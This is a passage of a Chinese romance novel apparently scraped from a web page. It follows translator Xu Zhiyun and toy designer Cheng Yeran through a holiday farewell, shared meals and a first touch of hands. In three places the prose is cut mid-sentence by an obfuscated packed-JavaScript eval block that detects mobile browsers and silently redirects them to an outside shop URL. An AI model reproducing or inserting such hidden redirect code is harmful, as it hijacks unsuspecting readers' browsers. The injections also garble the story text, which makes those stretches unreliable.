一旁认真看演出的俊俊见他们自顾自地说悄悄话,就凑上来问:“叔叔,你和姐姐两个人在说什么呐?” 程烨然轻轻推了推他的脑袋,顺便把这小孩跷起的二郎腿揪了下来,规规矩矩放好,“我们在聊人生哲理。” “什么人生哲理?生老病死,还是宇宙飞船?” “都不是,是你现在还不明白的东西。” 俊俊撇撇嘴:“那我长大了就能懂了吗?” 许知蕴坏心肠地说:“长大了也不一定能弄明白哦。” 俊俊只好沮丧地转过身去了。小朋友还是很懂事的,自觉与他们间隔开一点点距离,不去偷听大人说话。 程烨然看了一会夜空,才很缓慢地说:“或许对我而言,‘爱情’是一扇门。” “一扇门?” “嗯。我倒觉得,这是一扇双选的门。我想打开别人的,但别人未必想打开我的。我即使强行破开,门对面也不会有对方的身影。反过来也一样。或者我们都想打开彼此的门,时间上却错开了,也不行。天底下就要有这样正好的事情,我和那个人,在同一时间、同一地点,打开了彼此的那扇门——或许这就是爱情吧。” 许知蕴认真倾听着。“那么,就算打开了门,会有反悔的时候吗?” 程烨然笑笑:“这有可能发生。就算是只持续了一秒钟的爱情,那也是真正的爱情。要达到终生的挚爱,不是那么容易和幸运的。” “是啊……”许知蕴喃喃道,“我知道,要找到终生的挚爱,并不是那么容易的……” 她的眼睛里透露出一丝不易被察觉的落寞。 电光火石间,她其实想了很多。自懂事起,她常常会想,人的命运究竟是由自己掌控,还是被“命运”所左右呢?如果人的命运是由自己掌控,世间的那么多人,为什么偏偏无法找到属于自己的东西? 她想了很多问题,但发现自己思绪上的锚点,最后却停留在今早的那束栀子花身上。 花束洁白,香气袭人,给人带来一天的好心情。兜兜转转,探讨完貌似深奥的哲学与情感问题过后,许知蕴脑海中的最后一个问题,竟然只是: 你为什么要送我花呢? 我要回一个怎样的礼给你呢? 可就像之前的那声“晚安”一样,许知蕴最终什么也没有说。 * 五一假期一晃而过。 许知蕴和程烨然他们的车次并不是同一趟,而是中间相差了差不多一个小时。 许知蕴是早出发的那一个,此刻正手握身份证,拖着行李,准备排队检票。 俊俊啪嗒啪嗒地跑过来同她道别,看这小脸皱巴的,许知蕴差点以为他们不生活在同一个城市。 她蹲下来,抓住俊俊肉乎乎的脸好一顿揉搓:“皱眉什么呀,我看你之前蛮机灵的,怎么现在傻了?我们不还是住同一个城市吗?我和你叔叔还同一个小区呢,以后来找我玩的话,那不是轻而易举的事情。” 被许知蕴这么一说,本来还有些小伤感的俊俊忽然回过味来:“对哦……差点忘了。嘿嘿,我爸妈他们就是,老出差,就只能周末和我玩。不过姐姐你不一样……我以后是不是有空了,就能随时找你玩呀?” 自由职业者的好处估计就是时间安排上的松弛了。“对啊。不过你也可以找叔叔啊。”她瞥了一眼程烨然,“我们三个正好斗地主。前两天我们不是玩得很欢乐嘛。” 三个人打不成麻将,当然只能斗地主了。扑克牌还是程烨然去民宿旁边的小卖部买的,顺带帮他们把饮料提了上来。俊俊说自己不要当地主,两个成年人斗一个小朋友,不公平。许知蕴忍笑说,那我当地主吧。 俊俊小声冲许知蕴说:“姐姐,你要当心了,我叔叔打扑克很厉害的。” 一番酣畅淋漓的争斗过后,农民方赢了。 程烨然提议地主换着当,这样比较新鲜,所以下一轮他便成为了地主。 第二轮争斗,是地主方赢了。 许知蕴拍着程烨然的肩膀:“俊俊说你打牌很厉害,我之前还不太信呢,觉得我的牌技也挺好的。现在看来,名不虚传啊。” 俊俊在一旁煽风点火:“叔叔打牌都是跟我爸学的,我爸当年,加入了学校的扑克牌协会,打遍天下无敌手,家里还挂着好多奖状……” 许知蕴听出来了,俊俊的重点其实是在夸他爸呢。小孩子的心思呀,就是好猜。 那天他们打了好几场扑克,直到俊俊的“晚间作业”时间到,才把牌收起来。俊俊依依不舍,问什么时候还能再打。 俊俊看了一眼身旁高高大大的叔叔:“姐姐,我叔叔平常找我,都是来给我辅导作业,不找我玩的……” 程烨然忍不住道:“我之前还不是老给你带玩具?这么快就忘了,看来下次还是不给你带咯。” 他一边说,一边演出伤心的神情。俊俊立马狗腿地抱住他:“别啊叔叔,玩具我都记得,你给我拿了好多小汽车!” 许知蕴在一旁捂嘴笑。她大概知道陈美芝之前说的“想生个小孩来玩”是什么意思了。 他们闲聊了一堆,终于到点了。闸机开放,响亮的广播响起,许知蕴拿着身份证,随着队伍向前挪动。她笑着回头望了一眼,然后朝俊俊和程烨然摆摆手,就逐渐消失在了通道里。 俊俊望着许知蕴的背影,忽然凭着一点直觉,对他叔叔说:“叔叔,你之前说的那个,带你去吃海鲜的朋友,不会就是姐姐吧?” 程烨然愣了愣,心想,俊俊这小家伙,学习成绩不咋地,这方面倒是挺聪明的。 “……嗯。” 俊俊听他承认,脸上闪出几分小小的促狭:“叔叔,你喜欢姐姐吗?” 程烨然皮笑肉不笑:“敢管大人的事,我看你是皮痒了。作业写完了?” “……没有。” 俊俊浑身抖了抖,接着听见程烨然用世上最凉薄的语气把他欠的作业一项项说出来,只觉得人生一点点变得灰暗,简直是归家无望。 “我不听啦!” 俊俊捂着耳朵:“我待会上火车就补。” 程烨然双手抱胸,优哉游哉:“这才对嘛。虽然你的作业写不完,我也会被你爸嘟囔几句,但最终被老师批评的又不是我。我看你还是抓紧吧。” * 最终的结果可喜可贺,俊俊的作业堪堪在收假前补完,他和程烨然都没有挨程烨熙的批评。 许知蕴忙着继续她的工作。假期里她虽然也随身带着电脑,但玩了一天之后,哪里有打开电脑一点点校对文稿的耐心,索性都堆在了假期后的这几天,一鼓作气把它们全翻完了,咖啡馆连跑了四天,每天都雷打不动喝两杯美式。做美式的店员是周颂,他对许知蕴提出的要求瞠目结舌:“你是要特别浓的那种……” “对。”许知蕴坚定点头,“最好咖啡因多到我喝一杯就能一个晚上不睡觉。” 周颂只好按照她的要求,把兑水的比例减少。“你忙,烨然也忙,你们难道假期都去玩了?最近五一假期,我这咖啡馆的生意似乎也稍稍滑落……” 许知蕴从他口中捕捉到“程烨然也忙”这个关键词。她忽然想起,之前程烨然似乎一直在忙工作考核方面的事情。也不知道考核得怎么样了? 她带着这个问题问周颂,得到的回答是:“我也不知道。” 周颂把咖啡杯推过去,顺便给她一包鱼豆腐小零食,“我只知道他在忙考核,好像如果结果达标,就可以升职?反正不达标也降职啦,现在这世道,还管什么升职呢,只要不掉下去就行。” 许知蕴点点头,抱着咖啡和字典,就在电脑面前奋斗,屏幕上的字看得简直让人老眼昏花,还要自我催眠:我不困,我还能写,我还能再翻一百页! 好不容易,写了四天,总算是交稿了。虽然之后编辑还可能会提出种种问题需要修改,但——管他呢,在结果没出来之前,总算可以好好休息了! 为了犒劳自己,许知蕴又点了一份外卖。 本来想吃烧烤,可之前老点的那家烧烤店涨价了,每样都涨了一块五,许知蕴决定还是换一家。大晚上,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067592|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经吃夜宵了,还是少油腻的好。她在某橙色外卖平台上逡巡很久,还是点了楼下一个连锁便利店的关东煮。 因为是楼下的,所以配送很快,几乎是在她下单后的十分钟内,电话就打过来了。她伸了个懒腰,换了鞋,到楼下去拿外卖。 虽然是五月份,但或许是因为傍晚时分下了一场雨,现在的空气里透着一丝丝的凉意。许知蕴只穿了件薄衬衫,被风一吹,手臂上还是起了些鸡皮疙瘩。她熟练地在外卖柜里取走自己热腾腾的关东煮,然后抬腿往电梯方向走。 欸。她揉揉眼睛细看。前面那个也要往电梯走的,穿一身西装的—— 她一边小心翼翼护着自己的关东煮不要洒出来,一边三步并两步窜到程烨然身后,假装不熟地碰了碰程烨然:“咳咳,这位先生晚上好。” 就算看不见人,但声音还是伪装不了的。虽然许知蕴已经尽量压低声音了,但程烨然还是能轻而易举认出来。 “这位小姐晚上好。”他笑盈盈地转过头来,“这么晚了,有何贵干?” 哇哦,真配合。许知蕴也装模作样:“没什么,就是下来拿外卖。” 她看了一眼自己的外卖,终究是没忍住地叹了口气:“早知道我点烧烤了,还能分你几串。这个关东煮好像不太容易分……” 程烨然笑出了声:“下次我来点好了,许小姐想吃什么,尽管说。” 电梯发出声响,他们一起进去,程烨然帮她按了楼层。一个数字“7”,一个数字“8”,莹莹地亮着一圈柔光。 许知蕴注视着不断跳动的数字以及进进出出的人,忽然想到了之前同周颂讨论过的那个问题。 “对了。”她问,“你之前不是忙那个考核么……怎么样了?” 程烨然摇摇头:“结果倒是满足标准,但后来也没能晋升。” “为什么?” “我也不知道。”他似乎很轻松,一点也没有为这事难过的样子,“或许是上头觉得我太年轻,还想让我再磨炼会?” 他不难过,但许知蕴的内心还是有点闷闷不乐的。程烨然的作品很优秀——她虽然不太懂设计,但她觉得他设计的每一样东西都精准地击中了她的好球带。她也知道程烨然那些日子很忙,可惜忙来忙去,却得到的是这样的结果。 程烨然看见许知蕴垂着头,忍不住逗逗她:“不会在为我难过吧?” 这话多少带点暧昧语气,但被程烨然说出来,似乎就变得坦坦荡荡了。 “当然啊。你又不是没有升职的能力,升不上去,我当然难过了。”许知蕴说,“我可是十分欣赏你的作品的。” 说话间,电梯已经到了七层。许知蕴该走出去了——但程烨然也跟着她迈出了电梯门。 “其实我早就知道,我这次考核就算再怎么优秀,也无法升职的。” 程烨然的语气很平静,没什么无奈,也没什么故作的洒脱,“这叫什么?前辈文化,还是公司隐形的各种约定俗成的条款?能力也不是一切的敲门砖啊。” 许知蕴刚想说,你不是程家的二公子吗?有你这层身份,晋升也那么困难吗?但很快她就把这些话咽了回去。她在心里默默地检讨了一番自己的狭隘,随后又有点悲哀地想,像程烨然这种人在晋升之路上尚且艰难,那那些家庭平凡的普通人呢?他们应该还要比程烨然更加艰难吧。 “……好吧。”她叹了口气,开了个小玩笑,“原来是未卜先知啊。什么时候未卜先知到自己赚了大钱,记得知会我一声哦。” “当然。”程烨然说,“到时候还要麻烦许小姐赏脸陪我吃顿饭呢。” 他们互道了晚安,然后程烨然又走进了电梯里。 许知蕴回到家中,把手机打开,然后拆开关东煮的袋子,叉起一块香辣鱼丸,边吃边看最新的电视剧吐槽。 茶几上放着一串茉莉花手串,由于时间的流逝,花瓣的边缘已经有些泛黄了。许知蕴的目光不经意间撇过手串,定格了几秒,随后想: 一串承载了记忆的旅游纪念品——还是能多放几天就多放几天吧。 她还不舍得那么快丢掉呢。 16. 第十六章 许知蕴在和妈妈打电话的时候,悲伤地发现了一个事实:她妈妈寄给她的那条充满异国风情的白裙子,假期里她一次也没有穿。 每天不是钓鱼就是爬山,许知蕴早就把自己行李箱里还有条新裙子的事实抛之脑后。 思来想去,决定还是找个和小姐妹聚会的时候再穿,反正夏天还长着呢,不着急。 她很快就同朋友约定了时间,找了个周末一起去市中心的步行街。 两个人,能在市中心里干什么?把从小到大的流程再过一遍——逛各大商场然后挑选衣服——但却依然乐此不疲。正好碰上冬装换季打折,许知蕴很豪气地拿下了一件风衣一件大衣和一件皮衣外套,而朋友则买了两件厚实的羽绒服。她们拎着袋子从商场的大门里走出来,心里油然而生一种奇妙的满足感。 “以前读书的时候,总是只敢逛不敢买。”朋友感叹,“嘿嘿,转眼间早就已经成为大人了。” 许知蕴赞同地点点头,然后两人到主街道上晃了一圈。周末的人流量挺大,感觉连手机信号都被削弱。她们边聊边走,许知蕴突然看到了一家正在装修的商铺。 她以前其实是不太会注意这些正在装修的商铺的,总是想着,反正是在装修中,等装修完毕就能看到全貌了。 但她这次的脚步却放慢了。 朋友问她:“怎么了,这家店有什么好看的?” 她和许知蕴一起停下脚步,看见了这家店的英文名。有点拗口,朋友花了几秒钟才拼读正确,“奇怪,这是卖什么的?不过商标还蛮可爱的。” 但许知蕴对这家店的英文名再熟悉不过了——包括那个可爱与搞怪并存的商标。“这是……这是卖儿童益智玩具的,是个外国的牌子。” “哦!玩具啊。”朋友说,“我还以为是什么呢。他们家的玩具设计得很好吗?等建好了进去逛不会显得我们很幼稚吧?” 许知蕴笑着戳了戳她的胳膊:“你还好意思说幼稚,是谁每年都要去买一大堆毛绒玩具?我记得光是那只棕色的熊,你就收集了所有的型号,还给它们穿不同的衣服呢。” “那不一样啦!”朋友辩解道,“那个熊简直太可爱了,抱着睡觉根本撒不了手啊!” “这家的玩具也挺可爱的。” 许知蕴给她找来了官网小程序,上边一大堆稀奇古怪又分外可爱的小玩意一下俘获了朋友的心:“你从哪知道这个牌子的?你还有购买记录?怎么不早点分享给我……” 许知蕴摸了摸鼻子:“我朋友有个朋友……嗯,她认识这里边的一位玩具设计师,所以我就……知道这个牌子了。” “那位设计师的作品是哪个?” 许知蕴立马就将那只可爱的小恐龙展现在朋友眼前:“这个是他的作品之一,还有……” 一口气指了好几个,许知蕴这才清晰地意识到:自己对于程烨然的设计作品竟然那么熟悉。 然而朋友已经没有心思去听她介绍剩下的了,因为她已经被小恐龙完完全全可爱到了:“简直太Q了吧!” 她打开自己的手机,同样打开小程序,豪气地下单了大中小三只。“太可爱了……和我的小熊作伴刚刚好。” 安利成功,许知蕴莫名有种自豪感。谁让程烨然设计的东西确实足够优秀呢?那可得给他贡献点微薄的销量了。 * 程烨然最近貌似不加班了。 这是许知蕴通过自己的观察得出来的结论。先前他加班时,许知蕴常常能在拿夜宵的当口碰见他。现在他倒是准点下班了,周末的早晨,偶尔还能在周颂的咖啡馆里,瞥见这人正对着电脑敲敲打打,桌上还散着几张稿纸。 目光相遇,微微点头,这就算打过招呼了。许知蕴不打扰他做事,自己找了另一个位置坐下,继续她的工作。 她接了一本书的翻译,编辑对这本书很是看重,因为是反反复复毙了好几次选题才得到的最终结果,并且让许知蕴做好翻译稿改十几轮甚至更多的可能性。 “还有就是……”编辑犹豫了一下,“报酬的话……可能会比较低……社里压翻译压得太狠了……” 许知蕴说:“没事。我看这本书挺好的,出版后应该会有个不错的销量。” 作者是英国的一名小众作家,许知蕴在研究生时读过他的原版书。掩卷之后,只觉得眼前早已铺陈了一个潮湿多雨、色彩奇幻的世界。没想到工作之后,竟然能够参与到这本书的翻译上来。报酬是其次,但翻译喜欢的书本身,就足以让人乐在其中。 许知蕴有超绝的定力,自打上大学开始,她就练就了一坐坐一天的本事,在图书馆或者咖啡厅,除了上卫生间和接水,她可以像一尊大佛般固定在自己的椅子上。 她很是专一,仍然给自己点了玛琪雅朵,然后开始抱着书啃,一边啃,一边做笔记。 看了许久,咖啡已经喝完。许知蕴打开手机,看看有没有微信消息,果不其然看到了一堆红点。她点进去,发现消息全部来自她的朋友。 朋友买下的大中小三只恐龙已经到货了,把它们洗了晒干,就变成了香喷喷的玩偶。朋友对最大号的恐龙简直爱不释手,一连给这只恐龙拍了好几张特写:“真是宝藏店铺!摸起来特别软,快递箱里还有赠送的明信片……” 明信片上印的是手绘的图画,和玩偶的童真气质很是相配。 看着那张明信片,许知蕴却想起当时程烨然寄给她的那个箱子,以及那张认认真真写着“望您喜欢”的卡片。 她只收到一张,因此不知道那些不同的颜色代表什么,但她仍然能够感受到卡片上承载着的满满心意。 许知蕴回复:“对吧!我就说这家玩具店的东西都很棒。” 收效很好,她已经打定主意要给身旁所有的朋友安利了。才不管他们究竟买不买呢,先把广告打出去再说。 一天的工作结束了。 许知蕴到前台结账时,顺便在想今晚的晚饭吃什么。她还在想着呢,旁边同样起身结账的程烨然就问她:“要不要一起去吃个饭?” 真是瞌睡来了送枕头啊。许知蕴立马开开心心地答应了:“好啊!我们去吃什么?” 一番商讨,两人拍板去吃日料。 程烨然带着许知蕴,轻车熟路地走进一家日料店。日料店不大,但内部装潢很有东洋的风情。 服务员笑着说:“欢迎程先生的光临!” 等落座后,服务员给他们端来擦手的毛巾时,许知蕴偷偷问:“你常来这里?我看他们都知道你姓甚名谁了。” 程烨然悄悄拿出自己的会员卡:“我在这里吃过很多回,已经成最资深的VIP食客了,他们当然记得我。” 许知蕴用热毛巾擦着手:“俊俊说得没错,他叔叔果然是个爱吃的人。” 许知蕴扪心自问,自己光顾最多的,其实是楼下不远处的小面馆。面馆虽小,五脏俱全,不仅卖不同口味的面,也卖早餐馄饨饺子疙瘩汤饮品生煎包。口味是仁者见仁,但许知蕴光顾它这么多次,很大一部分原因是因为这里离家近,走两步路就能到。 曾经有一位外地朋友来拜访,问她城里哪一家茶餐厅最正宗最好吃。许知蕴愣了半天,最后憋出一句:你要不去网上搜搜看? 朋友大为震惊:你是本地人,居然不知道哪里的茶餐厅最好吃? 许知蕴摊手:茶餐厅实在太多了,走两步就是一家,哪里吃得过来。况且我都是去家附近的茶餐厅吃的,又近又便宜,十一点前结账还能打折。 朋友说好不容易来一趟,执意要去吃全城最正宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067593|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最好的茶餐厅。他们在网上搜索许久,最终还是去吃了城内名气最大也最贵的一家。两个人点了五样菜品,连服务费价格直奔四位数。吃完后,许知蕴问她,觉得怎么样?朋友摇摇头:吃不出来,不过确实挺好吃。 如果那位朋友当初问的是程烨然……结果会不会不一样? 等餐的间隙,许知蕴决心破解“城内哪家茶餐厅最好吃”的未解之谜。 她清了清嗓子:“程烨然同志,我有一个问题,希望你帮忙解答。” “嗯?” “你觉得……AA大酒店的饭菜怎么样?” AA大酒店就是那家最贵最有名气的茶餐厅。 程烨然微微思索了一会:“如果是招待远道而来的朋友,可以考虑。不过我个人觉得性价比不是特别高,除了他们家的招牌,其他的都没必要尝。” “他们家招牌是什么呀?” 程烨然非常顺溜地报出了三个菜名:“这三道菜我觉得很不错。AA大酒店掌勺的厨师我也认识,可惜他马上要退休了。” “这样……那你觉得哪家茶餐厅最好吃啊?”许知蕴快速将程烨然报出的三个菜名记在手机备忘录里,然后悲哀地发现,这三道“据说很招牌”的菜,她和朋友当年一道也没点。 程烨然听她问,就细细给她分析——他可是拿出了做数学题的十分认真来分析的。A家太贵性价比一般,B家虽然出品稳定但是预制菜,C家是手工制作但口味略古早,D家综合还可以只是菜品有点少…… 许知蕴边记笔记边给他竖大拇指:“太厉害了,程烨然同志!” 决定了,这笔记里的内容以后就是她的茶餐厅攻略!要是再有朋友来问她“哪家茶餐厅最好吃呀”,她就把笔记发给对方看。 “我还可以问其他的吗?” 等程烨然说完他对茶餐厅的见解,许知蕴满怀希冀地看着他。 程烨然失笑:“我的建议也只是参考,毕竟每个人的口味都是不一样的。” 许知蕴摇摇头:“不,我觉得我们的口味非常相似!你就放心大胆地介绍给我吧!” 于是她又记下了很多关于“城内哪家川菜、淮扬菜、东北菜……最正宗”的小笔记。等日料都上齐了,程烨然才停下,而许知蕴的笔记已经记了满满两页。 许知蕴殷勤地给他倒茶水:“说多渴了吧,来喝点茶润润嗓。真是太谢谢你的建议了,以后我要把它们通通都吃一顿。” 程烨然接过茶水,又笑了笑:“这倒也不用——” 许知蕴立马反驳:“问题是我问的,而且你都那么辛苦给我介绍了,怎么不用?” 她可是已经在心里美滋滋地做好计划了。 这家日料店果然很好吃,特别是金枪鱼,许知蕴吃得眼睛都满足地眯了起来。 她忽然想起了什么,问他:“这家日料店是你心目中的NO.1吗?” “不。”程烨然慢条斯理地夹起一块寿司,“其实是NO.3。” “那最好吃的呢?” 听见她的话,程烨然忽然停下了筷子,冲她眨了眨眼睛。“在市中心。如果你想吃,下个周末,我带你去。” 许知蕴这才注意到,程烨然的眼睫毛很长。细细密密的,在眼睛下方映出扇子般的黑色剪影。 ……好像睫毛还比她长呢。许知蕴下意识捋了一把自己的睫毛,感受了一下长度,放弃了比较的想法。 “怎么了?”程烨然关注到了她一瞬即逝的小动作,“眼睛进沙子了吗?” 许知蕴赶紧摆手:“没有没有。” 总不能把“我发现你的眼睫毛好像比我长”的这种心声说出来吧? 她这么想着,又隐蔽地多看了程烨然几眼。 ……嗯。真好看。 17. 第十七章 虽然古语有云,食不言寝不语,但许知蕴是非常喜欢在饭桌上聊天的那类人。 试想想,在一家人上班的上班、上学的上学、跳广场舞的跳广场舞之类的情况下,能聚在一起说会话的时间,也就剩晚饭的时候了。 两个有工作的人一起吃饭聊什么?当然是兜兜转转,聊回工作了。 程烨然自从考核期结束后,就从“加班卷生卷死”的情况中恢复过来,就像日剧《我,到点下班》的主人公一样,从不拖沓。许知蕴说,幸好你这是在外企,加班文化不深厚,不然你这样的工作态度,是要被上司叫到办公室里去的。 她举了自己曾经在公司里工作的例子。尽管只在厂里干了一年半,但她发现自己居然清楚地记得部长和同事们的样子。 “我们那个部长,简直是完美主义。” 许知蕴一想到部长油光水滑的大背头就心烦,“什么事情都要做到十全十美,怎么可能?连文件装订距离页边多少厘米都有规定。只要他生气了,决不能从他办公室门口走过,不然就会被抓过去阴阳怪气……小许呀,工作怎么样了?你觉得自己做得挺好的,是吧……听到这种话,鸡皮疙瘩都要起了!” 许知蕴尽管抱怨这位部长的“perfectionism”,但她不得不承认,这位部长的个人能力很强。 “其实呢,他能坐到这个位置,肯定是有理由的。可能只是我不习惯,或者说不喜欢他的管理方式……离职的时候去办手续,我碰见他,祝他今后一帆风顺——我真这么想,我觉得凭他的能力一定能晋升的。部长那天还挺和善,笑呵呵的,送了我一罐雀巢。后来我就索性干自由翻译了。” 比起条条框框,她更喜欢自由。就算收入并不算多,她也很喜欢。 提到“自由翻译”,程烨然的脑海里浮现出的,是他和许知蕴在咖啡馆里遇见的场景。 那时,他看见一个人,在桌上对着电脑和字典,时而文思泉涌,手指动得飞快,时而又挠挠脑袋,扣扣书沿,拿着笔在稿纸上涂涂写写。 明明是有点烦躁的样子,但程烨然却无端觉得很是可爱。 今天,许知蕴好像又变成了这个状态,只是不敲电脑了,转而抱着的是一本厚实的原文书。 他问:“我可以看看你手上的那本书么?” 许知蕴一愣,随即反应过来:“啊,可以的!” 她从包里拿出那本书,递给程烨然。 想着“虽然知道是原版书但我的英文也不差所以应该也能看懂吧”的程烨然,翻开了书本的第一页。 随后,他就被密密麻麻的英文晃花了眼。 印刷的字体比平常看的小了不少,纸张的触感也不甚平滑,透着一股淡淡的油墨香味,有点像报纸。 程烨然虽然在公司里也少不了回外文邮件,看外文稿件,但书上仿佛要挤到一起的26个字母们,还是让他败下阵来。 他努力把第一页看完,然后在许知蕴半是期待,半是忍笑的神情中,将书推了回去。 “怎么样?”许知蕴问。 “嗯……”程烨然努力寻找着措辞,“我觉得——” 许知蕴眸光闪闪地盯着他。 程烨然犹豫两秒钟,然后非常诚实地交代:“很抱歉,我看得眼花缭乱,只知道前边一大段景物描写,下着大雨,然后主角撑伞走过泥泞的街道。没了。” 许知蕴扬了扬手中的书,给他一个肯定的眼神:“自信点,你说得很对,第一页就只是讲了这点内容。” 程烨然问:“这本书应该还没引进吧?” “对。” “那么,你是第一批译者咯?” 许知蕴笑眯眯:“对呀。我可希望这本书译完出版之后能大卖特卖呢。” 销量如果够好,她的名气也会扩大,就能接更大的单子,赚更多的钱…… 迟早要买一个大平层! 她仿佛看见美好的生活在向她招手。 但理想很丰满,衬得现实就有些枯萎。许知蕴连这本书的内容还没看完呢。再说,她并不是没接过其他短篇小说的翻译,只是那些出版社把千字的价格压得很低,任凭怎么和编辑斤斤计较都没辙,令人抓狂。 许知蕴其实是一个很好懂的人。 当她没有刻意收敛时,她内心的想法,其实在脸上都能显露一二。 程烨然看到她的嘴角上扬又下撇,就大概能猜出来她究竟在想什么了。 他温声道:“别想那么多。我看过你翻译的文章,翻得很好。或许比起纠结,把这件事完成更为重要。” 他虽然不太懂翻译业界的生态究竟如何,但他觉得,以许知蕴的才华,未来一定会在其中牢牢地占据一席之地。 许知蕴一口干完味噌汤,叹了口气:“哎,也只能这样啦。每天给自己打打鸡血,喝喝鸡汤,日子还是很快乐的……” 她说到一半,拿着筷子准备去夹刺身的手忽然在空中顿住了。 “——哎?!” 她后知后觉地反应过来:“你看过我翻译的文章?” 许知蕴对自己的笔名并不会藏着掖着,但当先前程烨然问她时,她只觉得对方是在进行“礼貌性询问”。 得知一个人在向杂志投稿,出于礼貌问问笔名,再正常不过的事。 她没想到程烨然会看。 “是、是哪本杂志上的?”她有些磕巴,“我投过好几家杂志来着……” 程烨然说:“是有专栏的那一家。” 那个专栏的名字叫“悬疑情感”。 许知蕴喜欢看恐怖悬疑片,因此对这类故事非常感兴趣。杂志是月刊,她每月都会供一篇猎奇悬疑类型的翻译稿:月夜追凶啦、暗杀啦、破案啦……翻译自己喜欢的类型的故事,已经不单纯是工作了,而是一种享受。许知蕴最喜欢在晚上,特别是下雨的晚上,做这类故事的翻译——因为很有氛围感嘛! “咳咳。”她装模作样地轻轻嗓子,语气里带了些自己都没发现的期待,“你也喜欢看这类故事吗?嗯……我翻得还不错……吧?” 程烨然单手撑着下巴,望着她,忽然在许知蕴略显惊讶的目光下,伸出手来,轻轻摩挲了一把她的头发。 许知蕴的头发乌黑发亮,很柔软,像一条上好的绸缎。她坐在餐桌的对面,隔着血液和皮肤,感受到他手掌心隐隐约约传来的温热。 仅仅在她头上停留了两三秒,他的手就收回去了。 很绅士很温柔的一次触碰。 但就在那一刹那,许知蕴的心中忽然升起某种她自己都不敢置信的勇气。 她一把伸出了手,捉住了对方白皙修长的手指。 这下换程烨然愣住了。 许知蕴则在心里尖叫。 ……OhmyGod!我本来是想捉他手腕的!一下子距离没掌控好,莫名其妙就变成十指相扣了! 两个人的手都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067594|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很暖,相触的地方,温度蔓延到四肢百骸,就像是有一簇小小的火焰在燃烧。 他们一时都没说话,气氛瞬间变得静谧起来。许知蕴恍惚有种错觉,似乎他们不是坐在小小的日料店,而是身处雷蒙德·卡佛的诗。 “我——” 她深吸一口气,语气十分诚恳,假装自己不是在为这瞬间的尴尬找借口:“我——我太感动了!你知道的,对于一个译者来说,能够遇见喜欢的读者,是一件多么开心的事……” 虽然吧,这算是摆脱尴尬局面的托词,但许知蕴这番话却是真心的。 每一个文字工作者,都会因为有人喜欢自己的文字而开心,哪怕她只有一个读者。 程烨然的面上还是挂着那样的笑容,只是眸色深沉了些许。 “然后呢?”他轻声问道。 “……啊?”许知蕴没想到这一层,卡壳了,“没、没什么然后,我就是……一时激动……” 还能有什么要说,还应该有什么要说的? 她的大脑飞速运转,却猛然感受到手上传来一阵不容忽视的力度。 程烨然用掌心拢住了她的手指。这像是一场再自然不过的握手,又像是在为她取暖。 “手太冰啦。”他扬眉道,“大夏天的。” 这场短暂的,如梦幻般的触碰就此结束。他们又退到了“正常”的社交线以外,似乎刚刚的举措只不过是朋友之间的相互关心。 许知蕴这才感受到,刚才由于紧张,自己的指尖由于出了汗,被店里的空调一激,反而变得冰凉。她低头揉了揉自己的手指,有些不好意思。 “你会有很多读者的,相信我。”程烨然说,“到时候你要是出名了,记得给我写签名哦。” 他的语气很笃定,就像是在阐述一个既定的事实。 许知蕴看着他,目光隐晦地从他的睫毛流连到他的眼睛。 很深邃的墨色,就像是万丈高楼还未平地起时,周末的夜晚,抬头仰望所看到的星空。 都说眼睛是心灵的窗户,那这样一双眼睛的主人,在刚刚那场电光火石之中,又究竟在想什么呢? * 那天晚上,许知蕴又失眠了。 没有熬夜,没有晚上喝咖啡,也没有因为肚子饿从梦中惊醒,而是躺在床上,翻来覆去像个煎蛋,白噪音也听了、睡前也不玩手机了、不做运动了……可是就是睡不着。 许知蕴无奈地翻身坐起,打开了房间的灯。 反正明天也不用上班。不是睡不着吗,那就熬夜好了。正好加班加点把要翻译的书多看几页。 我要让这个身体知道谁才是真正的主人! 她面无表情地想着,挪动到书桌前,把书打开。 但过了半小时,她发现自己完全读不进去。那些英文字母们就像小蝌蚪,在空气中游来游去,就是不进脑子。她读完一页,差点要翻过去,才惊诧地发现自己虽然看懂了每个单词,但却完全没有去理解文本的意思。 ……就这个状态,还怎么工作啊。 许知蕴叹了口气。 桌上绿色的小恐龙们一字排开,从矮到高,像忠诚守护这张书桌的小卫兵。许知蕴把三只都抱起来,揉搓着它们毛茸茸、软乎乎的脸蛋,闷声道: “小朋友们,你们都很聪明……那么来告诉我,你们的设计师,到底在想什么呀?” 小恐龙的豆豆眼静静地看着许知蕴,不作回答。 18. 第十八章 熬夜的后果之一是第二天睡到太阳晒屁股,之二则是第二天六点半就精神抖擞地起床。 